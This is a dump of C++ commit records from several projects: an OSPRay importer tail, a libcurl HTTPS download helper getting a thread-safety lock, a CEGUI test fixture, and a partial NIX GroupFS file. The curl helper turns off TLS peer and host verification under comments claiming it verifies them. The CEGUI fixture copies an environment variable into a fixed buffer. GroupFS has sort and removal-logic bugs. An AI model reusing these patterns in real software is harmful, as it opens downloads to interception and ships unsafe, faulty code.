      auto nameLower = utility::lowerCase(node.name);\n        if (nameLower == \"volume\" || nameLower == \"structuredvolume\")\n          importStructuredVolume(world, node);\n        else if (nameLower == \"amr\" || nameLower == \"amrvolume\")\n          importRAW2AMRVolume(world, fileName, node);\n#ifdef OSPRAY_APPS_SG_CHOMBO\n        else if (nameLower == \"chombo\" || nameLower == \"chombovolume\")\n          importCHOMBOFromOSP(world, fileName, node);\n#endif\n        else\n          std::cout << \"#importOSG: unknown xml tag '\" << node.name << \"'\\n\";\n      }\n    }\n\n  } \/\/ ::ospray::sg\n} \/\/ ::ospray\n<|endoftext|>"}
{"text":"<commit_before>#include \"curltools.h\"\n\n#include <iostream>\n#include <openssl\/ssl.h>\n\nboost::once_flag init_openssl_once_flag = BOOST_ONCE_INIT;\n\nclass CurlCleaner\n{\n    CURL* curl_obj_to_clean;\npublic:\n    CurlCleaner(CURL* Curl_obj_to_clean) : curl_obj_to_clean(Curl_obj_to_clean)\n    {}\n\n    ~CurlCleaner() {\n        curl_easy_cleanup(curl_obj_to_clean);\n    }\n};\n\nsize_t cURLTools::CurlWrite_CallbackFunc_StdString(void *contents, size_t size,\n                                        size_t nmemb, std::deque<char> *s) {\n  size_t newLength = size * nmemb;\n  size_t oldLength = s->size();\n  try {\n    s->resize(oldLength + newLength);\n  } catch (std::bad_alloc &e) {\n    std::stringstream msg;\n    msg << \"Error allocating memory: \" << e.what() << std::endl;\n    printf(\"%s\", msg.str().c_str());\n    return 0;\n  }\n\n  std::copy((char *)contents, (char *)contents + newLength,\n            s->begin() + oldLength);\n  return size * nmemb;\n}\n\nint cURLTools::CurlProgress_CallbackFunc(void *, double TotalToDownload,\n                              double NowDownloaded, double \/*TotalToUpload*\/,\n                              double \/*NowUploaded*\/) {\n  std::clog << \"Download progress: \" <<\n               ToString(NowDownloaded) << \" \/ \" <<\n               ToString(TotalToDownload) << std::endl;\n  return CURLE_OK;\n}\n\nstd::string cURLTools::GetFileFromHTTPS(const std::string &URL, long ConnectionTimeout, bool IncludeProgressBar) {\n\n#if OPENSSL_VERSION_NUMBER < 0x10100000L\n  boost::call_once(init_openssl_once_flag, SSL_library_init);\n#else\n  boost::call_once(init_openssl_once_flag, OPENSSL_init_ssl, 0, static_cast<const ossl_init_settings_st*>(NULL));\n#endif\n\n  CURL *curl;\n  CURLcode res;\n\n  curl_global_init(CURL_GLOBAL_DEFAULT);\n\n  curl = curl_easy_init();\n  std::deque<char> s;\n  if (curl) {\n\n    CurlCleaner cleaner(curl);\n\n    curl_easy_setopt(curl, CURLOPT_URL, URL.c_str());\n    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); \/\/ verify ssl peer\n    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); \/\/ verify ssl hostname\n    curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);\n    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION,\n                     CurlWrite_CallbackFunc_StdString);\n    curl_easy_setopt(curl, CURLOPT_USERAGENT, \"Dark Secret Ninja\/1.0\");\n    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);\n\n    if (IncludeProgressBar) {\n      curl_easy_setopt(curl, CURLOPT_NOPROGRESS, false);\n      curl_easy_setopt(curl, CURLOPT_PROGRESSFUNCTION,\n                       CurlProgress_CallbackFunc);\n    } else {\n      curl_easy_setopt(curl, CURLOPT_NOPROGRESS, true);\n    }\n    \/\/        curl_easy_setopt (curl, CURLOPT_VERBOSE, 1L); \/\/verbose output\n    curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, ConnectionTimeout);\n\n    \/* Perform the request, res will get the return code *\/\n    res = curl_easy_perform(curl);\n    \/* Check for errors *\/\n    if (res != CURLE_OK) {\n      std::string errorMsg(curl_easy_strerror(res));\n      throw std::runtime_error(std::string(errorMsg).c_str());\n    } else {\n      long http_response_code;\n      curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_response_code);\n      if (http_response_code != 200) {\n          throw std::runtime_error(\"Error retrieving data with https protocol, error code: \" + ToString(http_response_code) +\n                                   \". Probably the URL is invalid.\");\n      }\n    }\n\n    \/* always cleanup *\/\n    \/\/ This is replaced by a smart cleaning object with the destructor (CurlCleaner)\n    \/\/ curl_easy_cleanup(curl);\n  }\n  std::string fileStr(s.begin(), s.end());\n  return fileStr;\n}\n<commit_msg>Thread-safety fix in curl.<commit_after>#include \"curltools.h\"\n\n#include <iostream>\n#include <openssl\/ssl.h>\n#include <boost\/thread.hpp>\n\nboost::once_flag init_openssl_once_flag = BOOST_ONCE_INIT;\nboost::mutex curl_global_init_lock;\n\nclass CurlCleaner\n{\n    CURL* curl_obj_to_clean;\npublic:\n    CurlCleaner(CURL* Curl_obj_to_clean) : curl_obj_to_clean(Curl_obj_to_clean)\n    {}\n\n    ~CurlCleaner() {\n        curl_easy_cleanup(curl_obj_to_clean);\n    }\n};\n\nsize_t cURLTools::CurlWrite_CallbackFunc_StdString(void *contents, size_t size,\n                                        size_t nmemb, std::deque<char> *s) {\n  size_t newLength = size * nmemb;\n  size_t oldLength = s->size();\n  try {\n    s->resize(oldLength + newLength);\n  } catch (std::bad_alloc &e) {\n    std::stringstream msg;\n    msg << \"Error allocating memory: \" << e.what() << std::endl;\n    printf(\"%s\", msg.str().c_str());\n    return 0;\n  }\n\n  std::copy((char *)contents, (char *)contents + newLength,\n            s->begin() + oldLength);\n  return size * nmemb;\n}\n\nint cURLTools::CurlProgress_CallbackFunc(void *, double TotalToDownload,\n                              double NowDownloaded, double \/*TotalToUpload*\/,\n                              double \/*NowUploaded*\/) {\n  std::clog << \"Download progress: \" <<\n               ToString(NowDownloaded) << \" \/ \" <<\n               ToString(TotalToDownload) << std::endl;\n  return CURLE_OK;\n}\n\nstd::string cURLTools::GetFileFromHTTPS(const std::string &URL, long ConnectionTimeout, bool IncludeProgressBar) {\n\n#if OPENSSL_VERSION_NUMBER < 0x10100000L\n  boost::call_once(init_openssl_once_flag, SSL_library_init);\n#else\n  boost::call_once(init_openssl_once_flag, OPENSSL_init_ssl, 0, static_cast<const ossl_init_settings_st*>(NULL));\n#endif\n\n  CURL *curl;\n  CURLcode res;\n\n  {\n      boost::lock_guard<boost::mutex> lg(curl_global_init_lock);\n      curl_global_init(CURL_GLOBAL_DEFAULT);\n  }\n\n  curl = curl_easy_init();\n  std::deque<char> s;\n  if (curl) {\n\n    CurlCleaner cleaner(curl);\n\n    curl_easy_setopt(curl, CURLOPT_URL, URL.c_str());\n    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); \/\/ verify ssl peer\n    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); \/\/ verify ssl hostname\n    curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);\n    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION,\n                     CurlWrite_CallbackFunc_StdString);\n    curl_easy_setopt(curl, CURLOPT_USERAGENT, \"Dark Secret Ninja\/1.0\");\n    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);\n\n    if (IncludeProgressBar) {\n      curl_easy_setopt(curl, CURLOPT_NOPROGRESS, false);\n      curl_easy_setopt(curl, CURLOPT_PROGRESSFUNCTION,\n                       CurlProgress_CallbackFunc);\n    } else {\n      curl_easy_setopt(curl, CURLOPT_NOPROGRESS, true);\n    }\n    \/\/        curl_easy_setopt (curl, CURLOPT_VERBOSE, 1L); \/\/verbose output\n    curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, ConnectionTimeout);\n\n    \/* Perform the request, res will get the return code *\/\n    res = curl_easy_perform(curl);\n    \/* Check for errors *\/\n    if (res != CURLE_OK) {\n      std::string errorMsg(curl_easy_strerror(res));\n      throw std::runtime_error(std::string(errorMsg).c_str());\n    } else {\n      long http_response_code;\n      curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_response_code);\n      if (http_response_code != 200) {\n          throw std::runtime_error(\"Error retrieving data with https protocol, error code: \" + ToString(http_response_code) +\n                                   \". Probably the URL is invalid.\");\n      }\n    }\n\n    \/* always cleanup *\/\n    \/\/ This is replaced by a smart cleaning object with the destructor (CurlCleaner)\n    \/\/ curl_easy_cleanup(curl);\n  }\n  std::string fileStr(s.begin(), s.end());\n  return fileStr;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/***********************************************************************\n    filename:   Entry.cpp\n    created:    11\/6\/2011\n    author:     Martin Preisler\n *************************************************************************\/\n\/***************************************************************************\n *   Copyright (C) 2004 - 2011 Paul D Turner & The CEGUI Development Team\n *\n *   Permission is hereby granted, free of charge, to any person obtaining\n *   a copy of this software and associated documentation files (the\n *   \"Software\"), to deal in the Software without restriction, including\n *   without limitation the rights to use, copy, modify, merge, publish,\n *   distribute, sublicense, and\/or sell copies of the Software, and to\n *   permit persons to whom the Software is furnished to do so, subject to\n *   the following conditions:\n *\n *   The above copyright notice and this permission notice shall be\n *   included in all copies or substantial portions of the Software.\n *\n *   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n *   IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n *   OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n *   ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n *   OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MODULE CEGUITests\n\n#include <boost\/test\/unit_test.hpp>\n#include <iostream>\n\n#include \"CEGUI\/RendererModules\/Null\/Renderer.h\"\n#include \"CEGUI\/Exceptions.h\"\n#include \"CEGUI\/System.h\"\n#include \"CEGUI\/DefaultResourceProvider.h\"\n#include \"CEGUI\/SchemeManager.h\"\n#include \"CEGUI\/ImageManager.h\"\n#include \"CEGUI\/AnimationManager.h\"\n#include \"CEGUI\/Font.h\"\n#include \"CEGUI\/WindowManager.h\"\n#include \"CEGUI\/ScriptModule.h\"\n#include \"CEGUI\/XMLParser.h\"\n#include \"CEGUI\/falagard\/WidgetLookManager.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef __APPLE__\n#   include <Carbon\/Carbon.h>\n#endif\n\n#define CEGUI_SAMPLE_DATAPATH_VAR \"CEGUI_SAMPLE_DATAPATH\"\n\/\/ setup default-default path\n#ifndef CEGUI_SAMPLE_DATAPATH\n    #define CEGUI_SAMPLE_DATAPATH \"..\/datafiles\"\n#endif\n\n\/**\n\\brief This fixture sets CEGUI up with NullRenderer\n*\/\nclass CEGUIInstanceFixture\n{\npublic:\n    CEGUIInstanceFixture()\n    {\n        \/\/ BOOST_TEST_MESSAGE is not available here\n        std::cout << \"Bringing CEGUI up using NullRenderer\" << std::endl;\n        std::cout << \"************************************\" << std::endl;\n        std::cout << std::endl;\n\n        CEGUI::NullRenderer::bootstrapSystem();\n        \/\/ we don't need stderr, we will deal with exception reports manually\n        CEGUI::Exception::setStdErrEnabled(false);\n\n        \/\/ FIXME: it sucks that we have to load a scheme to test but that's\n        \/\/        how it is at the moment :-(\n\n        \/\/ initialise the required dirs for the DefaultResourceProvider\n        CEGUI::DefaultResourceProvider* rp =\n            static_cast<CEGUI::DefaultResourceProvider*>\n                (CEGUI::System::getSingleton().getResourceProvider());\n\n        const char* dataPathPrefix = getDataPathPrefix();\n        char resourcePath[PATH_MAX];\n\n        \/\/ set the default resource groups to be used\n        CEGUI::ImageManager::setImagesetDefaultResourceGroup(\"imagesets\");\n        CEGUI::Font::setDefaultResourceGroup(\"fonts\");\n        CEGUI::Scheme::setDefaultResourceGroup(\"schemes\");\n        CEGUI::WidgetLookManager::setDefaultResourceGroup(\"looknfeels\");\n        CEGUI::WindowManager::setDefaultResourceGroup(\"layouts\");\n        CEGUI::ScriptModule::setDefaultResourceGroup(\"lua_scripts\");\n        CEGUI::AnimationManager::setDefaultResourceGroup(\"animations\");\n\n        \/\/ setup default group for validation schemas\n        CEGUI::XMLParser* parser = CEGUI::System::getSingleton().getXMLParser();\n        if (parser->isPropertyPresent(\"SchemaDefaultResourceGroup\"))\n            parser->setProperty(\"SchemaDefaultResourceGroup\", \"schemas\");\n\n        \/\/ for each resource type, set a resource group directory\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"schemes\/\");\n        rp->setResourceGroupDirectory(\"schemes\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"imagesets\/\");\n        rp->setResourceGroupDirectory(\"imagesets\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"fonts\/\");\n        rp->setResourceGroupDirectory(\"fonts\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"layouts\/\");\n        rp->setResourceGroupDirectory(\"layouts\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"looknfeel\/\");\n        rp->setResourceGroupDirectory(\"looknfeels\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"lua_scripts\/\");\n        rp->setResourceGroupDirectory(\"lua_scripts\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"xml_schemas\/\");\n        rp->setResourceGroupDirectory(\"schemas\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"animations\/\");\n        rp->setResourceGroupDirectory(\"animations\", resourcePath);\n\n        CEGUI::SchemeManager::getSingleton().createFromFile(\"TaharezLook.scheme\");\n    }\n\n    ~CEGUIInstanceFixture()\n    {\n        \/\/ BOOST_TEST_MESSAGE is not available here\n        std::cout << std::endl;\n        std::cout << \"Destroying CEGUI instance\" << std::endl;\n\n        CEGUI::NullRenderer::destroySystem();\n    }\n\n    \/\/----------------------------------------------------------------------------\/\/\n    const char* getDataPathPrefix() const\n    {\n        static char dataPathPrefix[PATH_MAX];\n\n#ifdef __APPLE__\n        CFURLRef datafilesURL = CFBundleCopyResourceURL(CFBundleGetMainBundle(),\n                                                        CFSTR(\"datafiles\"),\n                                                        0, 0);\n        CFURLGetFileSystemRepresentation(datafilesURL, true,\n                                         reinterpret_cast<UInt8*>(dataPathPrefix),\n                                         PATH_MAX);\n        CFRelease(datafilesURL);\n#else\n        char* envDataPath = 0;\n\n        \/\/ get data path from environment var\n        envDataPath = getenv(CEGUI_SAMPLE_DATAPATH_VAR);\n\n        \/\/ set data path prefix \/ base directory.  This will\n        \/\/ be either from an environment variable, or from\n        \/\/ a compiled in default based on original configure\n        \/\/ options\n        if (envDataPath != 0)\n            strcpy(dataPathPrefix, envDataPath);\n        else\n            strcpy(dataPathPrefix, CEGUI_SAMPLE_DATAPATH);\n#endif\n\n        return dataPathPrefix;\n    }\n\n};\n\nBOOST_GLOBAL_FIXTURE( CEGUIInstanceFixture );\n<commit_msg>Better default CEGUI_SAMPLE_DATAPATH for AutoQA<commit_after>\/***********************************************************************\n    filename:   Entry.cpp\n    created:    11\/6\/2011\n    author:     Martin Preisler\n *************************************************************************\/\n\/***************************************************************************\n *   Copyright (C) 2004 - 2011 Paul D Turner & The CEGUI Development Team\n *\n *   Permission is hereby granted, free of charge, to any person obtaining\n *   a copy of this software and associated documentation files (the\n *   \"Software\"), to deal in the Software without restriction, including\n *   without limitation the rights to use, copy, modify, merge, publish,\n *   distribute, sublicense, and\/or sell copies of the Software, and to\n *   permit persons to whom the Software is furnished to do so, subject to\n *   the following conditions:\n *\n *   The above copyright notice and this permission notice shall be\n *   included in all copies or substantial portions of the Software.\n *\n *   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n *   IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n *   OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n *   ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n *   OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MODULE CEGUITests\n\n#include <boost\/test\/unit_test.hpp>\n#include <iostream>\n\n#include \"CEGUI\/RendererModules\/Null\/Renderer.h\"\n#include \"CEGUI\/Exceptions.h\"\n#include \"CEGUI\/System.h\"\n#include \"CEGUI\/DefaultResourceProvider.h\"\n#include \"CEGUI\/SchemeManager.h\"\n#include \"CEGUI\/ImageManager.h\"\n#include \"CEGUI\/AnimationManager.h\"\n#include \"CEGUI\/Font.h\"\n#include \"CEGUI\/WindowManager.h\"\n#include \"CEGUI\/ScriptModule.h\"\n#include \"CEGUI\/XMLParser.h\"\n#include \"CEGUI\/falagard\/WidgetLookManager.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef __APPLE__\n#   include <Carbon\/Carbon.h>\n#endif\n\n#define CEGUI_SAMPLE_DATAPATH_VAR \"CEGUI_SAMPLE_DATAPATH\"\n\/\/ setup default-default path\n#ifndef CEGUI_SAMPLE_DATAPATH\n    #define CEGUI_SAMPLE_DATAPATH \"..\/..\/datafiles\"\n#endif\n\n\/**\n\\brief This fixture sets CEGUI up with NullRenderer\n*\/\nclass CEGUIInstanceFixture\n{\npublic:\n    CEGUIInstanceFixture()\n    {\n        \/\/ BOOST_TEST_MESSAGE is not available here\n        std::cout << \"Bringing CEGUI up using NullRenderer\" << std::endl;\n        std::cout << \"************************************\" << std::endl;\n        std::cout << std::endl;\n\n        CEGUI::NullRenderer::bootstrapSystem();\n        \/\/ we don't need stderr, we will deal with exception reports manually\n        CEGUI::Exception::setStdErrEnabled(false);\n\n        \/\/ FIXME: it sucks that we have to load a scheme to test but that's\n        \/\/        how it is at the moment :-(\n\n        \/\/ initialise the required dirs for the DefaultResourceProvider\n        CEGUI::DefaultResourceProvider* rp =\n            static_cast<CEGUI::DefaultResourceProvider*>\n                (CEGUI::System::getSingleton().getResourceProvider());\n\n        const char* dataPathPrefix = getDataPathPrefix();\n        char resourcePath[PATH_MAX];\n\n        \/\/ set the default resource groups to be used\n        CEGUI::ImageManager::setImagesetDefaultResourceGroup(\"imagesets\");\n        CEGUI::Font::setDefaultResourceGroup(\"fonts\");\n        CEGUI::Scheme::setDefaultResourceGroup(\"schemes\");\n        CEGUI::WidgetLookManager::setDefaultResourceGroup(\"looknfeels\");\n        CEGUI::WindowManager::setDefaultResourceGroup(\"layouts\");\n        CEGUI::ScriptModule::setDefaultResourceGroup(\"lua_scripts\");\n        CEGUI::AnimationManager::setDefaultResourceGroup(\"animations\");\n\n        \/\/ setup default group for validation schemas\n        CEGUI::XMLParser* parser = CEGUI::System::getSingleton().getXMLParser();\n        if (parser->isPropertyPresent(\"SchemaDefaultResourceGroup\"))\n            parser->setProperty(\"SchemaDefaultResourceGroup\", \"schemas\");\n\n        \/\/ for each resource type, set a resource group directory\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"schemes\/\");\n        rp->setResourceGroupDirectory(\"schemes\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"imagesets\/\");\n        rp->setResourceGroupDirectory(\"imagesets\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"fonts\/\");\n        rp->setResourceGroupDirectory(\"fonts\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"layouts\/\");\n        rp->setResourceGroupDirectory(\"layouts\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"looknfeel\/\");\n        rp->setResourceGroupDirectory(\"looknfeels\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"lua_scripts\/\");\n        rp->setResourceGroupDirectory(\"lua_scripts\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"xml_schemas\/\");\n        rp->setResourceGroupDirectory(\"schemas\", resourcePath);\n        sprintf(resourcePath, \"%s\/%s\", dataPathPrefix, \"animations\/\");\n        rp->setResourceGroupDirectory(\"animations\", resourcePath);\n\n        CEGUI::SchemeManager::getSingleton().createFromFile(\"TaharezLook.scheme\");\n    }\n\n    ~CEGUIInstanceFixture()\n    {\n        \/\/ BOOST_TEST_MESSAGE is not available here\n        std::cout << std::endl;\n        std::cout << \"Destroying CEGUI instance\" << std::endl;\n\n        CEGUI::NullRenderer::destroySystem();\n    }\n\n    \/\/----------------------------------------------------------------------------\/\/\n    const char* getDataPathPrefix() const\n    {\n        static char dataPathPrefix[PATH_MAX];\n\n#ifdef __APPLE__\n        CFURLRef datafilesURL = CFBundleCopyResourceURL(CFBundleGetMainBundle(),\n                                                        CFSTR(\"datafiles\"),\n                                                        0, 0);\n        CFURLGetFileSystemRepresentation(datafilesURL, true,\n                                         reinterpret_cast<UInt8*>(dataPathPrefix),\n                                         PATH_MAX);\n        CFRelease(datafilesURL);\n#else\n        char* envDataPath = 0;\n\n        \/\/ get data path from environment var\n        envDataPath = getenv(CEGUI_SAMPLE_DATAPATH_VAR);\n\n        \/\/ set data path prefix \/ base directory.  This will\n        \/\/ be either from an environment variable, or from\n        \/\/ a compiled in default based on original configure\n        \/\/ options\n        if (envDataPath != 0)\n            strcpy(dataPathPrefix, envDataPath);\n        else\n            strcpy(dataPathPrefix, CEGUI_SAMPLE_DATAPATH);\n#endif\n\n        return dataPathPrefix;\n    }\n\n};\n\nBOOST_GLOBAL_FIXTURE( CEGUIInstanceFixture );\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2013 - 2015, German Neuroinformatics Node (G-Node)\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted under the terms of the BSD License. See\n\/\/ LICENSE file in the root of the Project.\n\n#include \"GroupFS.hpp\"\n\n#include \"DataArrayFS.hpp\"\n#include \"TagFS.hpp\"\n#include \"MultiTagFS.hpp\"\n#include \"BlockFS.hpp\"\n\nnamespace bfs= boost::filesystem;\n\nnamespace nix {\nnamespace file {\n\n\nGroupFS::GroupFS(const std::shared_ptr<base::IFile> &file, const std::shared_ptr<base::IBlock> &block,\n                 const std::string &loc)\n    : EntityWithSourcesFS(file, block, loc)\n{\n    createSubFolders(file);\n}\n\n\nGroupFS::GroupFS(const std::shared_ptr<base::IFile> &file, const std::shared_ptr<base::IBlock> &block,\n                 const std::string &loc, const std::string &id, const std::string &type, const std::string &name)\n    : GroupFS(file, block, loc, id, type, name, util::getTime())\n{\n}\n\n\nGroupFS::GroupFS(const std::shared_ptr<base::IFile> &file, const std::shared_ptr<base::IBlock> &block,\n                 const std::string &loc, const std::string &id, const std::string &type, const std::string &name, time_t time)\n    : EntityWithSourcesFS(file, block, loc, id, type, name, time)\n{\n    createSubFolders(file);\n}\n\n\nvoid GroupFS::createSubFolders(const std::shared_ptr<base::IFile> &file) {\n    bfs::path das(\"data_arrays\");\n    bfs::path tags(\"tags\");\n    bfs::path mtags(\"multi_tags\");\n    bfs::path p(location());\n\n    data_array_group = Directory(p \/ das, file->fileMode());\n    tag_group = Directory(p \/ tags, file->fileMode());\n    multi_tag_group = Directory(p \/ mtags, file->fileMode());\n}\n\n\nbool GroupFS::hasDataArray(const std::string &name_or_id) const {\n    std::string id = name_or_id;\n\n    if (!util::looksLikeUUID(name_or_id) && block()->hasDataArray(name_or_id)) {\n        id = block()->getDataArray(name_or_id)->id();\n    }\n\n    return data_array_group.hasObject(id);\n}\n\n\nndsize_t GroupFS::dataArrayCount() const {\n    return data_array_group.subdirCount();\n}\n\n\nvoid GroupFS::addDataArray(const std::string &name_or_id) {\n    if (name_or_id.empty())\n        throw EmptyString(\"addDataArray\");\n\n    if (!block()->hasDataArray(name_or_id))\n        throw std::runtime_error(\"GroupFS::addDataArray: DataArray not found in block!\");\n\n    auto target = std::dynamic_pointer_cast<DataArrayFS>(block()->getDataArray(name_or_id));\n    data_array_group.createDirectoryLink(target->location(), target->id());\n}\n\n\nstd::shared_ptr<base::IDataArray> GroupFS::getDataArray(const std::string &name_or_id) const {\n    std::shared_ptr<base::IDataArray> da;\n\n    std::string id = name_or_id;\n    if (!util::looksLikeUUID(name_or_id) && block()->hasDataArray(name_or_id)) {\n        id = block()->getDataArray(name_or_id)->id();\n    }\n\n    if (hasDataArray(id)) {\n        boost::optional<bfs::path> path = data_array_group.findByNameOrAttribute(\"name\", name_or_id);\n        if (path) {\n            return std::make_shared<DataArrayFS>(file(), block(), path->string());\n        }\n    }\n    return da;\n}\n\n\nstd::shared_ptr<base::IDataArray>  GroupFS::getDataArray(ndsize_t index) const {\n    if(index > dataArrayCount()) {\n        throw OutOfBounds(\"No reference at given index\", index);\n    }\n    bfs::path p = data_array_group.sub_dir_by_index(index);\n    return std::make_shared<DataArrayFS>(file(), block(), p.string());\n}\n\n\nbool GroupFS::removeDataArray(const std::string &name_or_id) {\n    return data_array_group.removeObjectByNameOrAttribute(\"name\", name_or_id);\n}\n\n\nvoid GroupFS::dataArrays(const std::vector<DataArray> &data_arrays) {\n    \/\/ extract vectors of names from vectors of new & old references\n    std::vector<std::string> names_new(data_arrays.size());\n    transform(data_arrays.begin(), data_arrays.end(), names_new.begin(), util::toName<DataArray>);\n\n    size_t count = nix::check::fits_in_size_t(dataArrayCount(), \"dataArrayCount failed! count > than size_t!\");\n    std::vector<DataArray> refs_old(count);\n    for (size_t i = 0; i < refs_old.size(); i++){\n        refs_old[i] = getDataArray(i);\n    }\n    std::vector<std::string> names_old(refs_old.size());\n    std::transform(refs_old.begin(), refs_old.end(), names_old.begin(), util::toName<DataArray>);\n\n    \/\/ sort them\n    std::sort(names_new.begin(), names_new.end());\n    std::sort(names_new.begin(), names_new.end());\n\n    \/\/ get names only in names_new (add), names only in names_old (remove) & ignore rest\n    std::vector<std::string> names_add;\n    std::vector<std::string> names_rem;\n    std::set_difference(names_new.begin(), names_new.end(), names_old.begin(), names_old.end(),\n                        std::inserter(names_add, names_add.begin()));\n    std::set_difference(names_old.begin(), names_old.end(), names_new.begin(), names_new.end(),\n                        std::inserter(names_rem, names_rem.begin()));\n\n    \/\/ check if all new references exist & add sources\n    auto blck = std::dynamic_pointer_cast<BlockFS>(block());\n    for (auto name : names_add) {\n        if (!blck->hasDataArray(name))\n            throw std::runtime_error(\"One or more data arrays do not exist in this block!\");\n        addDataArray(blck->getDataArray(name)->id());\n    }\n    \/\/ remove references\n    for (auto name : names_rem) {\n        if (!blck->hasDataArray(name))\n            removeDataArray(blck->getDataArray(name)->id());\n    }\n}\n\n\nbool GroupFS::hasTag(const std::string &name_or_id) const {\n    std::string id = name_or_id;\n    if (!util::looksLikeUUID(name_or_id) && block()->hasTag(name_or_id)) {\n        id = block()->getTag(name_or_id)->id();\n    }\n    return tag_group.hasObject(id);\n}\n\n\nndsize_t GroupFS::tagCount() const {\n    return tag_group.subdirCount();\n}\n\n\nvoid GroupFS::addTag(const std::string &name_or_id) {\n    if (name_or_id.empty())\n        throw EmptyString(\"addTag\");\n\n    if (!block()->hasTag(name_or_id))\n        throw std::runtime_error(\"GroupFS::addTag: Tag not found in block!\");\n\n    auto target = std::dynamic_pointer_cast<TagFS>(block()->getTag(name_or_id));\n    tag_group.createDirectoryLink(target->location(), target->id());\n}\n\n\nstd::shared_ptr<base::ITag> GroupFS::getTag(const std::string &name_or_id) const {\n    std::shared_ptr<base::ITag> tag;\n\n    std::string id = name_or_id;\n    if (!util::looksLikeUUID(name_or_id) && block()->hasTag(name_or_id)) {\n        id = block()->getTag(name_or_id)->id();\n    }\n\n    if (hasTag(id)) {\n        boost::optional<bfs::path> path = tag_group.findByNameOrAttribute(\"name\", name_or_id);\n        if (path) {\n            return std::make_shared<TagFS>(file(), block(), path->string());\n        }\n    }\n    return tag;\n}\n\n\nstd::shared_ptr<base::ITag>  GroupFS::getTag(ndsize_t index) const {\n    if(index > tagCount()) {\n        throw OutOfBounds(\"No tag at given index\", index);\n    }\n    bfs::path p = tag_group.sub_dir_by_index(index);\n    return std::make_shared<TagFS>(file(), block(), p.string());\n}\n\n\nbool GroupFS::removeTag(const std::string &name_or_id) {\n    return tag_group.removeObjectByNameOrAttribute(\"name\", name_or_id);\n}\n\n\nvoid GroupFS::tags(const std::vector<Tag> &tags) {\n    \/\/ extract vectors of names from vectors of new & old references\n    std::vector<std::string> names_new(tags.size());\n    transform(tags.begin(), tags.end(), names_new.begin(), util::toName<Tag>);\n\n    size_t count = nix::check::fits_in_size_t(tagCount(), \"tagCount() failed! count > than size_t!\");\n    std::vector<Tag> refs_old(count);\n    for (size_t i = 0; i < refs_old.size(); i++){\n        refs_old[i] = getTag(i);\n    }\n    std::vector<std::string> names_old(refs_old.size());\n    std::transform(refs_old.begin(), refs_old.end(), names_old.begin(), util::toName<Tag>);\n\n    \/\/ sort them\n    std::sort(names_new.begin(), names_new.end());\n    std::sort(names_new.begin(), names_new.end());\n\n    \/\/ get names only in names_new (add), names only in names_old (remove) & ignore rest\n    std::vector<std::string> names_add;\n    std::vector<std::string> names_rem;\n    std::set_difference(names_new.begin(), names_new.end(), names_old.begin(), names_old.end(),\n                        std::inserter(names_add, names_add.begin()));\n    std::set_difference(names_old.begin(), names_old.end(), names_new.begin(), 